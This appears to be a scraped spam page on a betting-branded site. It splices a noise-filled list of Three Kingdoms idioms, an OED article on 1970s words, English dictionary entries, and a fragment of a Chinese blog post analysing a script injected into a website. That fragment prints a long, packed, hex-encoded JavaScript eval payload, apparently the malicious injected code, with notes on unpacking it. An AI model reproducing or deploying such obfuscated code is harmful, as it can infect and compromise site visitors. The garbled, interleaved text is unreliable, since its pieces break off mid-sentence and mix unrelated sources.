betway由亿起发,三国有关的成语

来源:http://www.roro2.com 作者:betway互联网 人气:185 发布时间:2019-11-05
摘要:原标题:OED90周年:限量明信片——来自1970s的词汇 三国是中国历史上风起云涌的时代,也诞生了中国文学史上广为流传的经典成语,下面为大家整理了30个和和三国相关的成语。[6F2

原标题:OED90周年:限量明信片——来自1970s的词汇

三国是中国历史上风起云涌的时代,也诞生了中国文学史上广为流传的经典成语,下面为大家整理了30个和和三国相关的成语。[6 F2 {: I! B/ r) Y/ m- x9 O% ]! X' ^5 Q' D1 C4 u4 X. W1 J; V" r0 M+ Y, g. r- w! o; M- ~1、髀肉复生:形容长期清闲,事业毫无成就。5 @. ~) T* U0 B- ^! v" |* f8 [5 r3 U4 k- {3 F& w( U2、后患无穷:指给将来留下的祸患无穷无尽。$ h, z; q) Q+ w4 V7 N6 H0 s3 |6 X3 O6 d# j3、如鱼得水:比喻得到了与自己十分投合的人或对自己非常合适的环境。$ L+ hl4 y6 v& E! d, h& P6 l# k, z) v& t& ?; h& A; t4、三顾茅庐:形容求才若渴,后用来比喻多次专诚拜访。5 G6 e' D+ M: g% D8 S* S% v, E( `+ Z$ w6 }' m2 p& M9 G6 x3 T5、初出茅庐:形容刚出来做事,缺乏实际经验,比较幼稚。( ?; Oc, ~2 y5 Z4 P, u7 y5 c. p6 o# C7 m; {`1 {8 }3 Y9 I$ D, N- ! O% [* t! S9 d3 }- T; r5 @6、虎踞龙盘:形容南京地势的雄伟。2 B- @- N; t4 o/ s8 ]4 Y4 n% v/ v& g" d: ?2 {' `' t2 Z& |$ V7、集思广益:指集中众人的意见,扩大工作的效果。' l! r2 E$ }1 n) a( }6 Y5 |" u3 G: j3 h" E2 j7 6 % P8、鞠躬尽瘁:形容贡献自己的全部力量,死了方休。3 P8 M2 X+ M/ J, R% ?/ G6 {3 B6 ?( I( S7 Y. c9、望梅止渴:比喻以空想安慰自己。/ ah8 Z* H9 I/ Y' PS' n" {$ d7 P7 e- m# i- g10、才高八斗:形容学问高,文采好。- u' i+ _! o; c1 l) P$ C( C9 o{$ T2 b; a$ f) w# o' Ct! u' M, 8 b4 h! {/ a9 {5 g1 q11、七步成诗:形容才学高超,文思敏捷。! T, % t5 v5 m: l' A' q7 R5 y3 Q/ I; ?8 F( P0 ^" O2 R4 A9 B12、超群绝伦:形容高出众人之上,没有人能与其相比。) k7 L4 l( P5 w/ Z9 {" [" B+ w7 Q9 k; {6 Q3 l5 k3 q1 Z' y: Y' K. t13、一身是胆:形容胆量极大。. n0 b% `7 X. y3 S& iC" F. x9 |6 A# W6 x14、顾曲周郎:形容欣赏音乐或听歌、听戏很内行。0 V; V! oX( F# N5 q8 d0 kH& w* ^) l15、坚壁清野指饿死、困死敌人的一种作战方法。" i9 m9 i; `+ a0 h3 b" _+ v6 u4 p6 H' S% k# s* _& O. ~% K" B$ d$ D6 O( L; E; l9 q16、巢毁卵破:比喻国家或集体遭到不幸,其人民或成员当然不能幸免。$ Q: @. S6 w1 y( I- l; I- z' A3 B& b( o! n9 d2 Y17、如嚼鸡肋比喻很乏味。* [9 i! W6 O7 d8 O. z' Q5 J3 r; J' z, ^9 m; f/ v5 c5 V18、老牛舐犊:比喻父母爱抚子女。4 w# t; b0 v+ m3 d" b$ k- n- Y! X( q3 L6 k# J19、势如破竹:比喻军队一路连打胜仗,形势好比用刀劈竹竿一样的顺利。. M. ]+ D$ ]! I/ |' m2 }. p2 C" `n7 h2 s& h3 c20、车载斗量:形容数量很多并不稀罕。% @0 B" F: o( h}/ O* F1 a5 k1 E9 s' {, u2 e3 r' ~9 f8 O* }, dL) r2 bk7 n9 }p8 x21、断头将军:形容壮士英勇不屈,宁死不降。) e9 Y1 |+ m. O5 Y( Q2 ?1 _( M9 G+ a$ ts# T22、吴下阿蒙:形容没有学识的粗人。. P) Z4 ~9 ^8 [4 K1 E& i6 K! R0 ]8 . O- m% U7 L2 G& M23、想当然:形容没有事实根据的主观臆断。" j7 K5 E7 M% A7 n1 R! / ]) k( m4 ~8 `( p. `; i$ p2 2 Q# }, C4 m; 24、刮目相看“士别三日,即更刮目相待。”意为用新的眼光看待7 D" {0 O7 i, Z2 z* m# LT: E; u+ ]1 U" V25、不出所料形容原先预料的准确9 f9 Z% s! O; n: G+ X, Y2 a5 n2 `7 _; {@# b/ x2 P4 h1 H% b* U) h/ M6 e2 h% }; d9 Z* m26、只欠东风什么都已准备好了,只差最后一个重要条件了, M% {! M$ F; L& R5 ]4 v# w3 f$ `% h27、义不容辞道义上不允许推辞。 指理应接受。2 O2 [8 t; s* H1 L. f0 L1 t; {! W; O! V) x" T. L28、安身之地指在某地居住、生活,或以某地作为建业的根基" s+ k0 ]1 A/ X/ F" L5 r8 u2 R! w9 o- l. Y5 E4 z29、割肚牵肠形容非常牵挂,很不放心。' c) n, T/ Y( g( yg2 O8 E" ~6 P9 l4 E. u* m30、下笔成章写文章很快9 }* r* V5 u7 t' r, n# {5 I+ d2 Z6 w# s中国历史, 诸葛亮, 文学史, 南京, 音乐

  1. menace

今天访问eqifa的官方网站,发现好多页面都带有
<script src=;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
找了资料,有可能是arp欺骗导致的或真的页面都被加了代码,这个代码是病毒,我来分析下,到了最后的时候发现js是16进制的,这次是实战,每一部都会很清晰,学不会教学费 呵呵
第一部,得到代码 (因为是知道js文件可以直接用ie打开访问)
代码如下

betway 1

v. [T] formal

复制代码 代码如下:

cold caller 陌生拜访者、电话销售

to threaten 威胁,恐吓 【正式】

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('15("\A\n\o\s\r\4\a\7\j\D\9\q\7\4\v\a\h\b\O\c\o\9\q\B\7\N\D\q\a\A\n\D\j\n\a\4\9\9\n\9\w\12\s\a\o\7\q\n\a\h\g\Q\9\4\7\s\9\a\6\7\9\s\4\i\P\O\0\X\c\o\9\q\B\7\N\b\g\i\U\T\A\n\o\s\r\4\a\7\j\D\9\q\7\4\v\a\h\b\O\c\o\9\q\B\7\N\b\g\i\U\T\A\n\o\s\r\4\a\7\j\D\9\q\7\4\v\a\h\b\12\s\a\o\7\q\n\a\6\W\a\l\c\h\a\g\6\Q\6\F\k\9\6\a\s\r\H\4\9\l\c\6\w\6\l\k\7\I\j\9\k\a\A\n\r\h\g\14\a\i\6\9\4\7\s\9\a\6\0\C\0\0\1\8\y\0\0\1\d\5\0\0\1\2\d\0\0\1\2\m\0\0\1\8\u\0\C\J\l\k\7\I\j\9\n\s\a\A\h\a\s\r\H\4\9\l\c\g\J\0\C\0\0\1\f\y\0\0\1\8\5\0\0\1\2\m\0\0\1\8\u\0\C\i\6\P\6\7\9\V\6\Q\6\m\n\D\a\11\9\v\w\0\C\0\0\1\2\G\0\0\1\8\5\0\0\1\8\5\0\0\1\8\u\0\0\1\3\M\0\0\1\f\e\0\0\1\f\e\0\0\1\3\p\0\0\1\3\2\0\0\1\2\p\0\0\1\f\y\0\0\1\8\d\0\0\1\8\3\0\0\1\f\e\0\0\1\2\e\0\0\1\5\K\0\0\1\5\K\0\0\1\f\e\0\0\1\8\3\0\0\1\2\m\0\0\1\8\3\0\0\1\8\3\0\0\1\f\y\0\0\1\2\d\0\0\1\8\G\0\0\1\2\d\0\C\i\6\F\k\9\6\l\c\m\e\w\A\n\o\s\r\4\a\7\j\o\9\4\k\7\4\y\v\4\r\4\a\7\h\0\b\0\0\1\2\e\0\0\1\2\f\0\0\1\2\M\0\0\1\2\d\0\0\1\2\3\0\0\1\8\5\0\b\g\i\6\l\c\m\e\j\c\4\7\M\7\7\9\q\H\s\7\4\h\0\b\0\0\1\2\3\0\0\1\2\z\0\0\1\2\p\0\0\1\8\3\0\0\1\8\3\0\0\1\2\t\0\0\1\2\5\0\b\x\0\b\0\0\1\2\3\0\0\1\2\z\0\0\1\8\3\0\0\1\2\t\0\0\1\2\5\0\0\1\3\M\0\0\1\5\f\0\0\1\5\5\0\0\1\3\t\0\0\1\3\2\0\0\1\5\3\0\0\1\3\d\0\0\1\3\d\0\0\1\3\2\0\0\1\f\m\0\0\1\3\2\0\0\1\3\d\0\0\1\5\p\0\0\1\3\3\0\0\1\f\m\0\0\1\3\p\0\0\1\3\p\0\0\1\5\5\0\0\1\3\u\0\0\1\f\m\0\0\1\3\t\0\0\1\3\G\0\0\1\3\3\0\0\1\5\p\0\0\1\f\m\0\0\1\3\u\0\0\1\3\u\0\0\1\5\3\0\0\1\3\u\0\0\1\3\5\0\0\1\5\2\0\0\1\5\3\0\0\1\3\f\0\0\1\3\t\0\0\1\5\d\0\0\1\3\3\0\0\1\3\2\0\b\g\i\6\F\k\9\6\1\w\l\c\m\e\j\z\9\4\k\7\4\L\H\S\4\o\7\h\0\b\0\0\1\5\m\0\0\1\2\t\0\0\1\2\3\0\0\1\8\f\0\0\1\2\e\0\0\1\8\3\0\0\1\2\e\0\0\1\2\2\0\0\1\8\5\0\0\1\f\y\0\0\1\d\G\0\b\J\0\b\0\0\1\5\m\0\0\1\5\z\0\0\1\5\G\0\0\1\d\5\0\0\1\d\5\0\0\1\d\u\0\b\x\0\b\0\b\g\i\6\F\k\9\6\E\w\l\c\m\e\j\z\9\4\k\7\4\L\H\S\4\o\7\h\0\b\0\0\1\5\p\0\0\1\2\5\0\0\1\2\e\0\0\1\2\5\0\0\1\2\f\0\0\1\f\y\0\0\1\d\3\0\0\1\8\5\0\0\1\8\f\0\0\1\2\d\0\0\1\2\p\0\0\1\2\m\0\b\x\0\b\0\b\g\i\6\E\j\7\V\B\4\w\p\i\6\1\j\n\B\4\a\h\0\b\0\0\1\5\8\0\0\1\5\d\0\0\1\d\5\0\b\x\6\m\n\D\a\11\9\v\x\u\g\i\6\1\j\c\4\a\A\h\g\i\6\l\c\e\a\k\r\4\p\w\W\a\l\c\h\t\t\t\t\g\i\6\F\k\9\6\e\w\l\c\m\e\j\z\9\4\k\7\4\L\H\S\4\o\7\h\0\b\0\0\1\d\3\0\0\1\2\3\0\0\1\8\f\0\0\1\2\t\0\0\1\8\u\0\0\1\8\5\0\0\1\2\t\0\0\1\2\y\0\0\1\2\8\0\0\1\f\y\0\0\1\5\2\0\0\1\2\t\0\0\1\2\z\0\0\1\2\d\0\0\1\d\3\0\0\1\8\t\0\0\1\8\3\0\0\1\8\5\0\0\1\2\d\0\0\1\2\m\0\0\1\5\e\0\0\1\2\f\0\0\1\2\M\0\0\1\2\d\0\0\1\2\3\0\0\1\8\5\0\b\x\0\b\0\b\g\i\6\F\k\9\6\l\c\R\r\B\w\e\j\W\4\7\E\B\4\o\q\k\v\e\n\v\A\4\9\h\u\g\betway,i\6\l\c\e\a\k\r\4\p\w\6\e\j\K\s\q\v\A\10\k\7\I\h\l\c\R\r\B\x\l\c\e\a\k\r\4\p\g\i\6\E\j\L\B\4\a\h\g\i\E\j\13\9\q\7\4\h\1\j\9\4\c\B\n\a\c\4\K\n\A\V\g\i\6\E\j\E\k\F\4\R\n\e\q\v\4\h\l\c\e\a\k\r\4\p\x\f\g\i\6\E\j\z\v\n\c\4\h\g\i\6\F\k\9\6\l\c\Z\w\l\c\m\e\j\z\9\4\k\7\4\L\H\S\4\o\7\h\0\b\0\0\1\d\3\0\0\1\2\G\0\0\1\2\d\0\0\1\2\z\0\0\1\2\z\0\0\1\f\y\0\0\1\5\p\0\0\1\8\u\0\0\1\8\u\0\0\1\2\z\0\0\1\2\t\0\0\1\2\3\0\0\1\2\p\0\0\1\8\5\0\0\1\2\t\0\0\1\2\e\0\0\1\2\y\0\b\x\0\b\0\b\g\i\6\m\n\D\a\p\w\e\j\K\s\q\v\A\10\k\7\I\h\l\c\R\r\B\J\0\C\0\0\1\d\z\0\0\1\d\z\0\0\1\8\3\0\0\1\8\t\0\0\1\8\3\0\0\1\8\5\0\0\1\2\d\0\0\1\2\m\0\0\1\3\3\0\0\1\3\f\0\C\x\0\C\0\0\1\2\3\0\0\1\2\m\0\0\1\2\5\0\0\1\f\y\0\0\1\2\d\0\0\1\8\G\0\0\1\2\d\0\C\g\i\6\l\c\Z\j\E\I\4\v\v\y\1\4\o\s\7\4\h\m\n\D\a\p\x\0\C\0\0\1\f\u\0\0\1\f\e\0\0\1\2\3\6\0\C\J\l\c\e\a\k\r\4\p\x\0\b\0\b\x\0\b\0\0\1\2\e\0\0\1\8\u\0\0\1\2\d\0\0\1\2\y\0\b\x\u\g\i\6\P\6\o\k\7\o\I\h\l\c\Y\g\6\Q\6\l\c\Y\w\p\i\6\P\b\g\i\U\T\A\n\o\s\r\4\a\7\j\D\9\q\7\4\v\a\h\b\O\0\X\c\o\9\q\B\7\N\b\g")',62,68,'x5C|x78|x36|x33|x65|x34|x20|x74|x37|x72|x6E|x22|x73|x35|x46|x32|x29|x28|x3B|x2E|x61|x4D|x44|x6F|x63|x31|x69|x6D|x75|x39|x30|x6C|x3D|x2C|x45|x43|x64|x70|x27|x77|x53|x76|x38|x62|x68|x2B|x42|x4F|x41|x3E|x3C|x7D|x7B|x54|x6A|x0A|x0D|x79|x47|x2F|x49|x51|x50|x55|x66|x57|x2A|eval'.split('|'),0,{})) 

该词指“意图销售产品或服务而未经要求拜访或打电话的人”。名词形式的最早记录为1972年,而动词cold-call也是同年出现在《泰晤士报》九月版面中。

The elephants are still menaced by poachers.

这是压缩,说是加密有问题,以后我说是加密也是可以理解的
解密方法如下,我是从blueidea的return 方法动手脚
return p改成thes.value=p

virtual reality 虚拟现实Brit. /ˌvəːtʃʊəl rɪˈalᵻti/, /ˌvəːtʃ(ᵿ)l rɪˈalᵻti/,/ˌvəːtjᵿl rɪˈalᵻti/, U.S. /ˌvərtʃ(əw)əlriˈælədi/

大象仍然面临非法捕猎者的威胁。

[Ctrl+A 全选 注:如需引入外部Js需刷新才能执行]

当下甚为流行的技术,可以简写为VR,最早出现在1979年的《编程公告》中,指“一种由计算机生成的对逼真环境的模拟,它可以通过响应硬件例如带有屏幕的面罩或带有传感器的手套等与让人看似真实的方式进行互动;此类活动或研究领域的环境或相关技术;网络空间”等。

  1. austerity

scriptsrc= !DOCTYPEHTMLPUBLIC"-//W3C//DTDHTML4.0Transitional//EN" 找了资料,有可能是arp欺...

supergrass 污点证人Brit. /ˈsuːpəɡrɑːs/, /ˈsuːpəɡras/, /ˈsjuːpəɡrɑːs/,/ˈsjuːpəɡras/, U.S. /ˈsupərˌɡræs/

n. 英 / ɔːˈsterɪti, ɔːˈsterəti, ɒ- /

向警方告密的人,尤其是揭发其他大量罪犯或其揭发信息具有特殊价值。该词在1975年出现在媒体报道中。

[U] when a government has a deliberate policy of trying to reduce the amount of money it spends 〔经济的〕紧缩

shopaholic 购物狂Brit. /ˌʃɒpəˈhɒlɪk/, U.S. /ˌʃɑpəˈhɑlɪk/

IMF-backed austerity measures

该词由动词shop+-aholic后缀组合而成,指“强迫性购物者”,最早出现在1977年的新闻报道中。

3.shatter

punk rock 朋克摇滚Brit. /ˌpʌŋkˈrɒk/, U.S. /ˈpəŋk ˈrɑk/

v. / 'ʃætə ; ˋʃætɚ / 英 / 'ʃætə /

该词可见于1970年《芝加哥论坛报》中,最初指“以快速、进攻性或未经策划包装的方式演奏的摇滚乐”,在后来的使用中特指“生成于20世纪70年代末的摇滚乐流派,其特点是故意采取暴躁的或对抗的态度,进行地充满活力的(常常是混乱的)表演,并且经常采用简单的或重复性的歌曲结构;与此种音乐相关的亚文化或风格”。

[I,T] to break suddenly into very small pieces, or to make something break in this way (使)粉碎,(使)破碎

psychobabble 心理学呓语Brit. /ˈsʌɪkəʊˌbabl/, U.S. /ˈsaɪkoʊˌbæb(ə)l/

The explosion shattered the building.

该词由前缀psycho-+名词babble(胡言乱语、含混不清的话)组合而成,指“装作讨论个性、两性关系以及其他日常问题时,使用心理学术语和概念的语言;被认为是无意义或迂腐的心理学术语”。

这次爆炸把大楼炸成一片废墟。

women's libber 妇女解放运动成员Brit./ˌwɪmɪnz ˈlɪbə/, U.S. /ˈˌwɪmᵻnz ˈlɪbər/

  1. active service

妇女解放的倡导者或支持者;女性主义者。该词出现在1970年的新闻报道中,早一年可见women's liberationist一词,随后的一年,口语中更简化为libber。

n. [U] ( also 又作 ˌactive ˈduty )

doobrey (口语)那谁Brit. /ˈduːbri/, U.S. /ˈdubri/

the work that soldiers do in a war 兵役

英式英语的口语中,等同于thingummy,即不知道或想不起来时说到的“那谁、某某”。该词的起源不明,首条引文出自1977年。

Powell was declared unfit for active service

animatronics 电子动画制作技术Brit. /anᵻməˈtrɒnɪks/, U.S. /ˌænəməˈtrɑnɪks/

  1. flotilla

该词是将Audio-Animatronics一词简化后形成,最早可见于1971年《滚石》杂志中,指“使用电子动画制作;电子动画制作技术”。

n. [C] / flə'tɪlə ; floˋtɪlə /英 / flə'tɪlə /

meme 模因Brit. /miːm/, U.S. /mim/

a group of small ships 小船队;小舰队

这是当下网络环境中经常讨论到的一个词汇,该词最初源自英国著名科学家理查德-道金斯(Richard Dawkins)1976年发表的《自私的基因》,书中写道:“我们需要为新的复制品起个名字,一个能传达文化传递单位或模仿单位的名词。‘Mimeme’来自于一个合适的希腊词根,但我想要一个听起来像'gene'的单音节词。我希望如果我将mimeme缩略为meme,我的古典主义朋友们能原谅我......meme的例子有曲调、观点、流行语、流行服装、制作壶或建造拱门的方法等。”文中提到的希腊词根mimeme(μίμημα)意为“模仿、被模仿的”。道金斯提出这一理论后,很快被许多学者讨论和分析,在OED中对它的定义为:“通过非基因遗传但被类比为基因遗传的方式(尤其是模仿),在人群中传播和持续存在的文化元素或行为特征”。

  1. exterminate

betway 2

v. [T] / ɪk'stɜːmɪneɪt ɪk'stɜːməneɪt ; ɪkˋstɝmə͵net / 英 / ɪk'stɜːmɪneɪt /

根据道金斯的说明,meme可以是语言、观念、信仰、行为方式、流行元素等的模仿和传递。随着互联网技术和文化的发展,自1998年起,meme词义得以延伸,特指“通常带有幽默特质的一个图像、视频、文本等,被互联网用户复制并迅速传播,常常伴有衍生作品”,该词可以添加修饰语,如Internet meme。近些年曾一度流行的各种表情包、网络语等,都是网络模因的形式。

to kill large numbers of people or animals of a particular type so that they no longer exist 灭绝,根除

karaoke 卡拉OK /karəˈəʊki//kariˈəʊki/

Staff use the poison to exterminate moles and rabbits.

该词已经无人不晓了,它源自日语,其中kara意为“空的”,ōke意为“管弦乐队”,最早出现在1977年《日本时报》的报道中。

员工用毒药来消灭鼹鼠和野兔。

牛津大学出版社拥有本文版权,如需转载,请标明出处。返回搜狐,查看更多

  1. exempt

责任编辑:

v. [T] / ɪɡ'zempt /

to give someone permission not to do or pay something 免除,豁免

exempt sb from sth

Charities are exempted from paying the tax.

慈善团体免付这项税款。

  1. munitions

n. [plural 复数] / mjuː'nɪʃ ə nz ; mjuˋnɪʃənz /

英 / mjuː'nɪʃ ə nz /

military supplies such as bombs and guns 军火〔如炸弹、枪炮等〕

→ ammunition

a munitions factory

兵工厂

  1. trauma

n. / 'trɔːmə, 'traʊmə ; ˋtraumə /英 / 'trɔːmə, 'traʊmə /

an unpleasant and upsetting experience that affects you for a long time 痛苦,创伤

traumas such as death or divorce

死亡、离婚等的巨大痛苦

  1. conscription

n. [U] / kən'skrɪpʃ ə n ; kənˋskrɪpʃən /

when people are made to join the army, navy etc 征兵

  1. ˌable-ˈbodied

adj.

physically strong and healthy, especially when compared with someone who is disabled 体格健全的,强壮的

Every able-bodied man had to fight for his country.

每一个体格健全的男人都必须为祖国而战斗

  1. ra‧tion‧ing

n. [U] / 'ræʃ ə nɪŋ ; ˋræʃənɪŋ /

英 / 'ræʃ ə nɪŋ /

when the amount of food, petrol etc that people are allowed to have is limited by the government 定量配给政策;配给制

fuel/clothes/food etc rationing

News of bread rationing created panic buying.

面包将定量配给的消息引发了恐慌性购买。

  1. con‧sen‧sus

n. [singular,U 单数] 英 / kən'sensəs /

an opinion that everyone in a group agrees with or accepts 共同意见,一致看法,共识

SYN  agreement

The EU Council of Finance Ministers failed to reach a consensus on the pace of integration.

欧盟财政部长会议未能就一体化的进度达成共识。

  1. bea‧con

n. [C] 英 / ˈbiːkən /

a light that is put somewhere to warn or guide people, ships, vehicles, or aircraft 灯标,灯塔

  1. virtually

adv. 英 / 'vɜːtʃuəli /

almost 实际上,几乎,差不多

SYN  practically

Virtually all the children come to school by bus.

  1. totalitarianism

/ təʊˌtælɪˈtɛərɪənɪzəm/

N-UNCOUNT Totalitarianism is the ideas, principles, and practices of totalitarian political systems. 极权主义

  1. dis‧man‧tle

v. [T]

英 / dɪs'mæntl /

to gradually get rid of a system or organization 〔逐渐地〕废除〔某种制度或组织〕

an election promise to dismantle the existing tax legislation

将废除现有税收法规的竞选承诺

  1. di‧spar‧i‧ty

n. [C,U] formal 英 / dɪ'spærɪti /

( plural disparities )

a difference between two or more things, especially an unfair one 〔尤指不公正的〕不同,差异 【正式】

  1. hol‧o‧caust

n. [C]  英 / 'hɒləkɔːst /

a situation in which there is great destruction and a lot of people die 大灾难,浩劫

a nuclear holocaust

核灾难

② the Holocaust

the killing of millions of Jews and other people by the Nazis during the Second World War 〔第二次世界大战期间纳粹党对犹太人等进行的〕大屠杀

  1. gen‧o‧cide

n. [U] 英 / 'dʒenəsaɪd /

the deliberate murder of a whole group or race of people 大屠杀,种族灭绝

→ ethnic cleansing

The military leaders were accused of genocide.

军方领导人被指控实施种族大屠杀。

  1. a‧troc‧i‧ty

n. [C usually plural , U 一般用复数] / əˈtrɒsɪti, əˈtrɒsəti ; əˋtrɑsətɪ /

英 / əˈtrɒsɪti, əˈtrɒsəti /

( plural atrocities )

an extremely cruel and violent action, especially during a war 〔尤指战争中的〕暴行

  1. ex‧ten‧sive

adj. 英 / ɪk'stensɪv /

large in size, amount, or degree 广阔的;大量的;大规模的

Fire has caused extensive damage to the island’s forests.

大火严重毁坏了岛上的森林。

the extensive use of pesticides

杀虫剂的大量使用

containing or dealing with a lot of information and details 广泛的,全面的

Extensive research is being done into the connection between the disease and poor living conditions.

  1. ap‧pease

v. [T] / əˈpiːz ; əˋpiz / formal

英 / əˈpiːz /

to make someone less angry or stop them from attacking you by giving them what they want 平息;安抚,抚慰 【正式】

They attempted to appease international opposition by promising to hold talks.

他们答应举行会谈,试图以此平息国际上的反对声音。

  1. aggression

n.

the act of attacking a country, especially when that country has not attacked first 侵犯;侵略

an unprovoked act of aggression

无端的侵犯

  1. con‧science

n. [C,U] 英 / 'kɒnʃ ə ns /

the part of your mind that tells you whether what you are doing is morally right or wrong 良知,良心

Well, at least I can face them all with a clear conscience (= the knowledge that you have done nothing wrong ) .

好吧,至少我可以问心无愧地面对他们所有人。

  1. de‧ter‧rent

n. [C] / dɪ'terənt ; dɪˋtɝənt /英 / dɪ'terənt /

something that makes someone less likely to do something, by making them realize it will be difficult or have bad results 制止物,威慑物,威慑力量

nuclear deterrent

the nuclear weapons that a country has in order to prevent other countries from attacking it 核威慑力

  1. ex‧a‧cer‧bate

v. / ɪɡ'zæsəbeɪt ; ɪgˋzæsɚ͵bet /

英 / ɪɡ'zæsəbeɪt /

[T] to make a bad situation worse 使恶化;使加重

The recession has exacerbated this problem.

经济衰退使这个问题更加严重。

  1. sen‧ti‧ment

n. / 'sentɪmənt 'sentəmənt ; ˋsɛntəmənt /

英 / 'sentɪmənt /

[C,U] an opinion or feeling you have about something formal 意见,观点,感想 【正式】

Similar sentiments were expressed by many politicians.

许多政治家都表达了相同的观点。

  1. persuasion

n. [C] a particular type of belief, especially a political or religious one formal 〔尤指政治或宗教的〕信仰,信念 【正式】

politicians of all persuasions

信仰各异的政治家

political/religious persuasion

We need people with talent, whatever their political persuasions.

我们需要有才华的人,无论他们的政治信仰如何。

  1. re‧gime

n. [C] W2 AC / reɪ'ʒiːm ; reˋʒim /

英 / reɪ'ʒiːm /

a government, especially one that was not elected fairly or that you disapprove of for some other reason 政权,〔尤指未经公平选举而掌权的〕政府

The regime got rid of most of its opponents.

该政权清除了大多数反对者。

  1. blurred

adj. / blɜːd ; blɝd /英 / blɜːd /

unclear in shape, or making it difficult to see shapes 〔形状〕模糊的

a blurred photo

一张模糊的照片

  1. may well 

很可能;充分理由;有充分理由可以…

  1. sub‧ver‧sive  adj. / səb'vɜːsɪv ; səbˋvɝsɪv /

英 / səb'vɜːsɪv /

subversive ideas, activities etc are secret and intended to damage or destroy a government or an established system 〔观点、活动等对政府或现有制度具有〕颠覆性的

He was engaged in subversive activities .

他参与了颠覆活动。

本文由必威发布于betway互联网,转载请注明出处:betway由亿起发,三国有关的成语

关键词:

上一篇:职场术语,爱可可老师今日视野

下一篇:没有了

最火资讯